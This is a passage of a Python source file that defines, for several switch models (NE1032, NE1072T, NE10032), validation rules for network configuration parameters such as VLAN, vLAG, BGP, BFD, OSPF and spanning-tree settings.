'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,100000,25000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
NE1032 = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-32',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-32',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,input,\
output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,100000,25000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
NE1072T = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-54',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-54',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,input,\
output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,100000,25000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
NE10032 = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-32',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-32',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,input,\
output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
